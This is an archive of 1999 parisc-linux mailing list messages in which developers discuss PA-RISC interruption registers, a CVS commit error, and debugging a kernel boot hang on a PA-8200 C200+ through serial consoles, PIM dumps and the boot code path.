Xref: news.gmane.org gmane.linux.ports.parisc:9921

> > we don't save them at all, but directly read them.  Of course, printing them
> > doesn't make any sense (except for debugging the interruption code).
> 
> Reading them when PSW.Q=1 is undefined, and it sounds like that's where the
> problem is coming from....

erm.  yes, I know that.  Yes, I said it doesn't make any sense.

> IIR should have had a load or store in it for Grant's problem...

Grant's problem is most likely solved.  And no, there is no reason to save
IIR right now (there might be one when we have to find out whether a read or
write failed).

	Philipp Rumpf


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs [server aborted]: "commit" requires write access...
Date: Fri, 17 Sep 1999 14:00:17 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <199909172100.OAA23369@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619762 13944 80.91.229.3 (22 Nov 2014 01:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Sep 17 15:00:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA07763
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Sep 1999 15:00:11 -0600
Original-Received: (qmail 9453 invoked by uid 15267); 17 Sep 1999 21:02:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9443 invoked from network); 17 Sep 1999 21:02:23 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 17 Sep 1999 21:02:23 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA11264
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Sep 1999 17:01:30 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA23369 for <parisc-linux@thepuffingroup.com>; Fri, 17 Sep 1999 14:00:17 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
Xref: news.gmane.org gmane.linux.ports.parisc:9922


Alex/et al,
I'm trying to submit the changes to build "som" format binaries
and I'm getting the error:

cvs [server aborted]: "commit" requires write access to the repository
cvs commit: saving log message in /tmp/cvsBAAa18719

Is the entire /home/cvs/parisc repository locked right now?
I checked rw permissions on the files and I have them.

I recall Alex sent a message about merging to 2.2.12. I don't
remember (but may have missed) mention that the repository
would be locked down and binutils was part of that.

I'm interested in committing:
CVS: Modified Files:
CVS:    binutils/gas/configure binutils/bfd/config.bfd
CVS:    binutils/ld/Makefile.in
CVS: ----------------------------------------------------------------------
Problem: tools use som support for as long as HP-UX linker is required.
Solution:
o gas/configure: for "hppa-*-linux" in "case ${generic_target}",
                 replace "fmt=elf" with "fmt=som"
o bfd/config.bfd: move parisc-linux target to "targ_defvec=som_vec" case
o ld/Makefile.in: disable "install" target for ld. Print msg instead.

thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 data page fault and msg output
Date: Fri, 17 Sep 1999 14:48:25 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <199909172148.OAA23435@milano.cup.hp.com>
References: <19990917035257.K8112@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619762 13947 80.91.229.3 (22 Nov 2014 01:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:22 +0000 (UTC)
Cc: LaMont Jones <lamont@security.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Fri Sep 17 15:48:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA08103
	for <parisc-linux@puffin.external.hp.com>; Fri, 17 Sep 1999 15:48:09 -0600
Original-Received: (qmail 23793 invoked by uid 15267); 17 Sep 1999 21:50:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23770 invoked from network); 17 Sep 1999 21:50:17 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 17 Sep 1999 21:50:17 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA10799
	for <parisc-linux@thepuffingroup.com>; Fri, 17 Sep 1999 15:49:55 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA23435; Fri, 17 Sep 1999 14:48:26 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 17 Sep 1999 03:52:57 PDT."
             <19990917035257.K8112@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9923

Philipp Rumpf wrote:
...
> > IIR should have had a load or store in it for Grant's problem...
> 
> Grant's problem is most likely solved.

When will I see a "likely solution"?

I'm still clueless to what is causing the data page fault and can't
make forward progress on Dino support.

(Hint: I have a card-mode Dino installed to exercise the basic code.)


thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] exec_kernel help
Date: Sat, 18 Sep 1999 01:47:19 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <37E34387.713858FE@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619762 13952 80.91.229.3 (22 Nov 2014 01:29:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:22 +0000 (UTC)
To: Parisc Linux <parisc-linux@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Sat Sep 18 00:49:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA08588
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 00:49:37 -0600
Original-Received: (qmail 4898 invoked by uid 15267); 18 Sep 1999 06:51:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4891 invoked from network); 18 Sep 1999 06:51:53 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 06:51:53 -0000
Original-Received: (qmail 9765 invoked by alias); 18 Sep 1999 06:51:51 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 9759 invoked by uid 0); 18 Sep 1999 06:51:51 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 18 Sep 1999 06:51:51 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9924

Hello hackers,

I've been struggling with this for the last couple of days, and I'm
stuck.  I can build a bootable image, but I can not get it to transfer
control to the kernel.  (I'm working on a C200+ which is a PA-8200
(PA-RISC 2.0) as Grant pointed out earlier).  I know the first targeted
build is for the PA 1.1, but I am willing and would like to get the
kernel working on the 2.0 also.

Here is the output on the console (I'm typing this in by hand)
---------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Fri Sep 17 01:05:03 MDT 1999 by rbrad@vega

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
No ramdisks available.
SOM-Kernel:
aux_header_location: 00000080
som                  : 00200080
exec_dfile      : 0009E000
exec_dsize     : 0007C000
exec_dmem  : C007D000
exec_tfile       : 00031000
exec_tsize      : 0006C008
exec_tmem   :  C0010000
Code at 0x00010000, size=0x0006c008
Data at 0x0007D000, size=0x0007C000
BSS  at 0x00F9000

Transfering control to kernel. (At entry point 0x00010000)
-----------------------------------------------------

It hangs there and I have to reboot to continue.
I am booting using rbootd/tftpd if that makes any difference.

Any help/pointers would be appreciated :)

Thanks,
-Ryan



From - Thu Nov 08 21:16:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C200 support
Date: Thu, 16 Sep 1999 18:34:18 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <199909170134.SAA21779@milano.cup.hp.com>
References: <37E193F0.AD5E1A38@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619763 13957 80.91.229.3 (22 Nov 2014 01:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:23 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: grundler@cup.hp.com  Sat Sep 18 02:04:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA08958
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 02:03:59 -0600
Original-Received: (qmail 16679 invoked by uid 15267); 18 Sep 1999 08:06:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16666 invoked from network); 18 Sep 1999 08:06:15 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 08:06:15 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA14238;
	Thu, 16 Sep 1999 18:36:19 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id SAA21779; Thu, 16 Sep 1999 18:34:25 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 16 Sep 1999 19:05:52 PDT."
             <37E193F0.AD5E1A38@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:9925

Ryan Bradetich wrote:
> I'm working on getting the kernel to boot/load on a C200...

Ryan,
C200+ has a PA-8200 processor (PA 2.0 Arch) and C200 had the previous
PA 2.0 processor in it. Haven't you had problems since this port
(to date) is focused on PA1.1 architecture?

I'm certain PA2.0 will be supported in the future but not today.
I don't want to discourage you but also don't want you to
burn out trying to make this work...

grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] exec_kernel help
Date: Sat, 18 Sep 1999 10:29:23 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19990918102923.C5481@suse.de>
References: <37E34387.713858FE@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619763 13960 80.91.229.3 (22 Nov 2014 01:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:23 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: prumpf@suse.de  Sat Sep 18 02:27:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA09302
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 02:27:10 -0600
Original-Received: (qmail 20206 invoked by uid 15267); 18 Sep 1999 08:29:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20199 invoked from network); 18 Sep 1999 08:29:25 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 08:29:25 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 68A8A32CD3; Sat, 18 Sep 1999 10:29:24 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id DF00B67AB; Sat, 18 Sep 1999 10:29:23 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 73B727F8B; Sat, 18 Sep 1999 10:29:23 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37E34387.713858FE@uswest.net>; from Ryan Bradetich on Sat, Sep 18, 1999 at 01:47:19AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9926

> I've been struggling with this for the last couple of days, and I'm
> stuck.  I can build a bootable image, but I can not get it to transfer
> control to the kernel.  (I'm working on a C200+ which is a PA-8200
> (PA-RISC 2.0) as Grant pointed out earlier).  I know the first targeted
> build is for the PA 1.1, but I am willing and would like to get the
> kernel working on the 2.0 also.

It would be really nice to support PA2.0 in narrow mode.

> Here is the output on the console (I'm typing this in by hand)

Try to get a serial console set up.

> Transfering control to kernel. (At entry point 0x00010000)
> -----------------------------------------------------
> 
> It hangs there and I have to reboot to continue.

Can you access PIM and see if it got an HPMC ?

> Any help/pointers would be appreciated :)

okay, both head.S and our console (which is still called pdc_* though it
really is IODC) rely on pa1.1 firmware.  I am not sure this works on PA2.0
systems.

	Philipp Rumpf


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] exec_kernel help
Date: Sat, 18 Sep 1999 07:36:37 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <199909181436.HAA24063@milano.cup.hp.com>
References: <19990918102923.C5481@suse.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619763 13962 80.91.229.3 (22 Nov 2014 01:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:23 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
        Parisc Linux <parisc-linux@thepuffingroup.com>
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: grundler@cup.hp.com  Sat Sep 18 08:36:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA09930
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 08:36:10 -0600
Original-Received: (qmail 11624 invoked by uid 15267); 18 Sep 1999 14:38:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11617 invoked from network); 18 Sep 1999 14:38:27 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 14:38:27 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA22600;
	Sat, 18 Sep 1999 10:37:48 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id HAA24063; Sat, 18 Sep 1999 07:36:41 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 18 Sep 1999 10:29:23 PDT."
             <19990918102923.C5481@suse.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9927

Philipp Rumpf wrote:
> Ryan Bradetich wrote:
...
> > Here is the output on the console (I'm typing this in by hand)
> 
> Try to get a serial console set up.

Definitely...reading owners manuals can reveal interesting "tricks".
Holding the "TOC" button (for about 10 seconds) on my 715 during
powerup will force the console to serial port 1.  The user doesn't
have to muck with setting paths for collecting linux kernel output.
Check if the C200+ has the same behavior - good chance it does.

...
> > Any help/pointers would be appreciated :)
> 
> okay, both head.S and our console (which is still called pdc_* though it
> really is IODC) rely on pa1.1 firmware.  I am not sure this works on PA2.0
> systems.

"Legacy" firmware (includes C200+, A180L, etc) run PDC/IODC in narrow mode.
I expect PDC calls to work the same. I think something else is different.
As Philipp suggested, check the PIM dump since it's the only info available.
Someone is looking at a PA debugger...

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] exec_kernel help
Date: Sat, 18 Sep 1999 13:14:39 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <37E3E49F.3CF5D20A@uswest.net>
References: <199909181436.HAA24063@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619764 13966 80.91.229.3 (22 Nov 2014 01:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:24 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@suse.de>,
        Parisc Linux <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rbradetich@uswest.net  Sat Sep 18 12:17:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA10409
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 12:17:04 -0600
Original-Received: (qmail 20204 invoked by uid 15267); 18 Sep 1999 18:19:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20196 invoked from network); 18 Sep 1999 18:19:19 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 18:19:19 -0000
Original-Received: (qmail 29230 invoked by alias); 18 Sep 1999 18:19:14 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 29212 invoked by uid 0); 18 Sep 1999 18:19:14 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 18 Sep 1999 18:19:14 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9928

Grant Grundler wrote:

> Philipp Rumpf wrote:
> > Ryan Bradetich wrote:
> ...
> > > Here is the output on the console (I'm typing this in by hand)
> >
> > Try to get a serial console set up.
>
> Definitely...reading owners manuals can reveal interesting "tricks".
> Holding the "TOC" button (for about 10 seconds) on my 715 during
> powerup will force the console to serial port 1.  The user doesn't
> have to muck with setting paths for collecting linux kernel output.
> Check if the C200+ has the same behavior - good chance it does.
>

Found out how to do this in the users manual ... next question.  What is
everyone using for a serial console?  I have the HP A4576A monitor attached to
the C200+ right now, this monitor does not have a serial connection.  It has
the Enhanced Video Connector and the HD-15 (svga) monitor connections.   The
only serial device that I can think of is the web console, and I can get one
from work later this afternoon, if that will work.

> ...
> > > Any help/pointers would be appreciated :)
> >
> > okay, both head.S and our console (which is still called pdc_* though it
> > really is IODC) rely on pa1.1 firmware.  I am not sure this works on PA2.0
> > systems.

Will look in to these ... I've been focusing on init/main.c and
arch/parisc/boot/boot_code/ipl_[cs].[cS]

Let my outline my understanding of how the kernel gets loaded, and then will
someone please correct me if I'm wrong.

    1. The ipl is called by the PDC.  Execution starts in
arch/parisc/boot/boot_code/ipl_s.S.
    2. The ipl does some stuff then calls IPL_main().  (in
arch/parisc/boot/boot_code/ipl_c.c)
    3. IPL_main does some stuff/displays some values then calles exec_kernel.
(in arch/parisc/boot/boot_code/ipl_s.S)
    4. exec_kernel changes the program counter to the entry_point then does an
rfi. (entry point is 0x00010000)

    This is all the farther I've been able to trace/understand.  I was assuming
that the rfi throws us to start_kernel in init/main.c.
    Although after glancing at arch/parisc/kernel/head.S it looks like that
assumption might have been invalid.

> "Legacy" firmware (includes C200+, A180L, etc) run PDC/IODC in narrow mode.
> I expect PDC calls to work the same. I think something else is different.
> As Philipp suggested, check the PIM dump since it's the only info available.
>

Nothing in the PIM dump, though that was a great idea.... forgot all about
checking the PIM codes (duh...) :)

> Someone is looking at a PA debugger...

What do you mean by a PA debugger?

>
> grant
>
> Grant Grundler
> Communications Infrastructure Computer Operations
> +1.408.447.7253


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] exec_kernel help
Date: Sat, 18 Sep 1999 20:32:30 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <19990918203230.F5481@suse.de>
References: <199909181436.HAA24063@milano.cup.hp.com> <37E3E49F.3CF5D20A@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619764 13970 80.91.229.3 (22 Nov 2014 01:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:24 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>,
        Parisc Linux <parisc-linux@thepuffingroup.com>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: prumpf@suse.de  Sat Sep 18 12:30:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA10592
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 12:30:16 -0600
Original-Received: (qmail 22954 invoked by uid 15267); 18 Sep 1999 18:32:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22947 invoked from network); 18 Sep 1999 18:32:31 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 18:32:31 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 245A032CD5; Sat, 18 Sep 1999 20:32:31 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id F374C67A8; Sat, 18 Sep 1999 20:32:30 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 934E47F8B; Sat, 18 Sep 1999 20:32:30 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37E3E49F.3CF5D20A@uswest.net>; from Ryan Bradetich on Sat, Sep 18, 1999 at 01:14:39PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9929

> > Definitely...reading owners manuals can reveal interesting "tricks".
> > Holding the "TOC" button (for about 10 seconds) on my 715 during
> > powerup will force the console to serial port 1.  The user doesn't
> > have to muck with setting paths for collecting linux kernel output.
> > Check if the C200+ has the same behavior - good chance it does.

> Found out how to do this in the users manual ... next question.  What is
> everyone using for a serial console?  I have the HP A4576A monitor attached to
> the C200+ right now, this monitor does not have a serial connection.  It has
> the Enhanced Video Connector and the HD-15 (svga) monitor connections.   The
> only serial device that I can think of is the web console, and I can get one
> from work later this afternoon, if that will work.

I'd propose using a machine known to work, a null modem cable and a terminal
program.  That way you can copy and paste which is very handy sometimes.

>     1. The ipl is called by the PDC.  Execution starts in
> arch/parisc/boot/boot_code/ipl_s.S.
>     2. The ipl does some stuff then calls IPL_main().  (in
> arch/parisc/boot/boot_code/ipl_c.c)
>     3. IPL_main does some stuff/displays some values then calles exec_kernel.
> (in arch/parisc/boot/boot_code/ipl_s.S)
>     4. exec_kernel changes the program counter to the entry_point then does an
> rfi. (entry point is 0x00010000)

yup.

The entry point is in arch/parisc/kernel/head.S
head.S calls arch/parisc/kernel/setup.c (start_parisc)
setup.c does some initialization and calls init/main.c (start_kernel)


From - Thu Nov 08 21:16:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Delisle" <jdelisle@novia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2 new boxes I have..
Date: Sat, 18 Sep 1999 18:34:08 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <002101bf022e$520d0780$ab0228d8@johnshay>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001E_01BF0204.64F58540"
X-Trace: ger.gmane.org 1416619764 13972 80.91.229.3 (22 Nov 2014 01:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:24 +0000 (UTC)
To: "Parisc Linux" <parisc-linux@thepuffingroup.com>
Original-X-From: jdelisle@novia.net  Sat Sep 18 17:28:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA10940
	for <parisc-linux@puffin.external.hp.com>; Sat, 18 Sep 1999 17:28:18 -0600
Original-Received: (qmail 12521 invoked by uid 15267); 18 Sep 1999 23:30:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12514 invoked from network); 18 Sep 1999 23:30:29 -0000
Original-Received: from oasis.novia.net (216.40.24.1)
  by mailserv2.iuinc.com with SMTP; 18 Sep 1999 23:30:29 -0000
Original-Received: from johnshay (216-40-2-171.novia.net [216.40.2.171])
        by oasis.novia.net (8.9.3/Novia) with SMTP id SAA02456
        for <parisc-linux@thepuffingroup.com>; Sat, 18 Sep 1999 18:30:21 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Xref: news.gmane.org gmane.linux.ports.parisc:9930

This is a multi-part message in MIME format.

------=_NextPart_000_001E_01BF0204.64F58540
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

I recently became the owner of two HP PA-RISC systems. =20

One is a HP 9000 800/H50 with 512MB ram, a SCSI/Console/LAN card, a MUX =
(40299B)

The other is a HP 9000 800/G40 with 256MB ram, a SCSI/Console/LAN card, =
a MUX (20499B), a 16 bit differential SCSI (28696-60001) card, and two =
SCSI/Parallel cards

Oh, and a SCSI cdrom.

Can someone tell me two things:

1) Can I make one run linux?

2) What are they worth? (Either as a whole or components..)

Thanks

John



------=_NextPart_000_001E_01BF0204.64F58540
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3612.1706"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Hi,</FONT></DIV>
